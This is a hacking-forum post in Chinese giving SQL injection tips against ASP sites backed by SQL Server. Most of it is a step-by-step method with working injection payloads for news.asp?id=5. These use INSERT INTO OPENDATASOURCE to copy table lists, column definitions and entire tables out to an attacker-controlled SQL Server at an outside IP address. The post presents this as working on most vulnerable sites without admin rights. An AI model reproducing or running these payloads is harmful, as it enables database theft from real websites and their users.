论坛: 黑客进阶 标题: 注射的一些技巧 复制本贴地址    
作者: linux [wish259]    论坛用户   登录
注射的一些技巧


这是浏览器导致的,并非对方的asp所谓,一些特殊符号不能直接在浏览器里面输入,
其实没有必要全部转换成%xx的模式,写个htm里面javascript
window.location.href=".....这里随便你了......"
就可以了,该转码的都会自己转码。

另外用sqlinject记住两点
浏览器选项高级里面
1. UTF8一定要关闭
2. 友好的http信息显示一定要关闭

另外如果要偷取一个对方库里面指定一个表的数据,简单的办法就是
假设你的本地sqlserver ip是202.99.8.1 sa空 1433 tcp 默认库pop
1。 创建一个表,两个个字段number和varchar(255)就可以,表名[tmp1]
2。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmp1 select [id],[name] from sysobjects where xtype='U' --
3。 无看看你的tmp1的内容,找到你想要的那个表,比如[news]对应的id=12345
4。 在你的sqlserver执行 select * into [tmpcolumns] from syscolumns where 1=2
5。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmpcolumns select * from sysobjects where id=12345 --
6。 现在看看tmpcolumns你已经得到这个news的所有字段信息了
7。 根据字段本地创建创建新表[newtable]
8。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.newtable select * from [news] --

以上方法不需要猜测表名,也不需要是sysadmin,所以只要有sqlinject漏洞并且是sqlserver的话,那么绝大多数都可以通过。并且你可以指定你要的表你要的字段,而不需要去down整个庞大的库。

不过sqlinject真的没必要花太多的精力在上面。

注:select * into [tmpcolumns] from syscolumns where 1=2的1=2判断绝对没有写错,这么做是一种复制表结构的偷懒办法




地主 发表时间: 04-07-29 00:07

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号